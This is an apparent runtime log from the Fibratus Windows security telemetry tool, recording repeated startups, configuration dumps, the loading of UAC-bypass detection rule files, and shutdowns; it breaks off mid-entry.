......................... [ amqp=>[ tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false passive=>false enabled=>false exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s vhost=>/ exchange=>fibratus] http=>[ enabled=>false serializer=>json timeout=>5s method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ flush-period=>1s trace-log=>false enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false bulk-workers=>1 index-name=>fibratus healthcheck=>true healthcheck-interval=>10s template-name=>fibratus timeout=>5s sniff=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false skip-files=>false skip-registry=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true scan-timeout=>10s excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T21:24:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T21:24:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T21:24:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T21:24:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T21:24:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T21:25:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T21:25:44+01:00 level=info msg=bootstrapping with pid 14704. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T21:25:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ buffer-size=>512 min-buffers=>16 flush-interval=>1s enable-mem=>false enable-threadpool=>false enable-vamap=>true enable-image=>true enable-handle=>false enable-dns=>false enable-thread=>true enable-net=>true enable-audit-api=>true max-buffers=>36 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 level=>info max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ template-name=>fibratus sniff=>false gzip-compression=>false timeout=>5s healthcheck=>true trace-log=>false index-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s enabled=>false] http=>[ enable-gzip=>false endpoints=>[] enabled=>false serializer=>json timeout=>5s tls-insecure-skip-verify=>false method=>POST] amqp=>[ exchange=>fibratus timeout=>5s durable=>false routing-key=>fibratus enabled=>false delivery-mode=>transient exchange-type=>topic vhost=>/ passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false skip-files=>false fastscan=>true excluded-procs=>[] skip-registry=>false scan-timeout=>10s skip-allocs=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T21:25:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T21:25:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T21:25:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T21:25:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T21:25:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:27:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T23:27:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T23:27:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T23:27:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T23:27:39+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T23:27:39+01:00 level=info msg=bootstrapping with pid 8208. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T23:27:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true enable-mem=>false min-buffers=>16 max-buffers=>36 enable-net=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-audit-api=>true enable-handle=>false enable-registry=>true enable-threadpool=>false enable-thread=>true stack-enrichment=>true buffer-size=>512 enable-fileio=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ sniff=>false flush-period=>1s healthcheck=>true bulk-workers=>1 healthcheck-timeout=>5s enabled=>false healthcheck-interval=>10s trace-log=>false gzip-compression=>false timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false method=>POST serializer=>json enable-gzip=>false enabled=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ delivery-mode=>transient durable=>false vhost=>/ exchange-type=>topic enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s passive=>false exchange=>fibratus]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-allocs=>false skip-mmaps=>false skip-registry=>false scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-26T23:27:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:27:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:28:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T23:28:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:28:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:34:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T23:34:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T23:34:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T23:34:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T23:34:26+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T23:34:26+01:00 level=info msg=bootstrapping with pid 3840. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T23:34:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-vamap=>true flush-interval=>1s enable-threadpool=>false enable-handle=>false enable-registry=>true enable-mem=>false stack-enrichment=>true enable-audit-api=>true enable-fileio=>true enable-net=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-image=>true enable-dns=>false buffer-size=>512 min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 log-stdout=>true level=>info max-size=>100] + output ......................... [ amqp=>[ routing-key=>fibratus exchange=>fibratus exchange-type=>topic enabled=>false passive=>false delivery-mode=>transient vhost=>/ timeout=>5s tls-insecure-skip-verify=>false durable=>false url=>amqp://localhost:5672] http=>[ timeout=>5s enable-gzip=>false method=>POST serializer=>json tls-insecure-skip-verify=>false endpoints=>[] enabled=>false] elasticsearch=>[ index-name=>fibratus trace-log=>false enabled=>false gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s timeout=>5s healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false flush-period=>1s template-name=>fibratus] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ fastscan=>true skip-files=>false excluded-procs=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-registry=>false skip-allocs=>false scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T23:34:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:34:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:34:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T23:34:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:34:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:35:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T23:35:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T23:35:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T23:35:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T23:35:39+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T23:35:39+01:00 level=info msg=bootstrapping with pid 10192. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T23:35:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-mem=>false enable-fileio=>true enable-thread=>true enable-net=>true enable-vamap=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-audit-api=>true flush-interval=>1s enable-handle=>false enable-dns=>false enable-threadpool=>false enable-registry=>true max-buffers=>36 stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true formatter=>text level=>info max-size=>100 max-backups=>15] + output ......................... [ http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false method=>POST serializer=>json] amqp=>[ vhost=>/ delivery-mode=>transient passive=>false enabled=>false exchange=>fibratus url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false durable=>false exchange-type=>topic routing-key=>fibratus] elasticsearch=>[ servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s trace-log=>false template-name=>fibratus enabled=>false sniff=>false flush-period=>1s gzip-compression=>false healthcheck=>true index-name=>fibratus] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-mmaps=>false scan-timeout=>10s skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T23:35:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:35:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:35:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T23:35:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:35:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:37:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T23:37:20+01:00 level=info msg=bootstrapping with pid 4512. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T23:37:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false use-template=>true to=>[] port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-vamap=>true enable-dns=>false min-buffers=>16 max-buffers=>36 enable-net=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-threadpool=>false enable-image=>true enable-registry=>true enable-mem=>false enable-audit-api=>true stack-enrichment=>true enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true level=>info formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck=>true gzip-compression=>false healthcheck-timeout=>5s flush-period=>1s index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-interval=>10s template-name=>fibratus trace-log=>false bulk-workers=>1 timeout=>5s enabled=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ durable=>false tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ passive=>false exchange-type=>topic timeout=>5s delivery-mode=>transient enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ tls-insecure-skip-verify=>false enabled=>false serializer=>json method=>POST endpoints=>[] enable-gzip=>false timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-allocs=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T23:37:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:37:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:37:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T23:37:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:37:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:38:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T23:38:00+01:00 level=info msg=bootstrapping with pid 8760. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T23:38:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html enabled=>false to=>[] port=>25] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-vamap=>true enable-fileio=>true max-buffers=>36 enable-threadpool=>false enable-handle=>false enable-dns=>false enable-mem=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-registry=>true buffer-size=>512 stack-enrichment=>true enable-audit-api=>true min-buffers=>16 enable-thread=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text max-size=>100 log-stdout=>true max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false timeout=>5s healthcheck=>true healthcheck-interval=>10s trace-log=>false flush-period=>1s template-name=>fibratus sniff=>false index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false] amqp=>[ url=>amqp://localhost:5672 enabled=>false durable=>false exchange=>fibratus exchange-type=>topic passive=>false delivery-mode=>transient routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s vhost=>/] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enabled=>false timeout=>5s]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false fastscan=>true skip-allocs=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T23:38:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:38:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:41:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T23:41:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:41:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:49:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T23:49:30+01:00 level=info msg=bootstrapping with pid 18168. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T23:49:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ 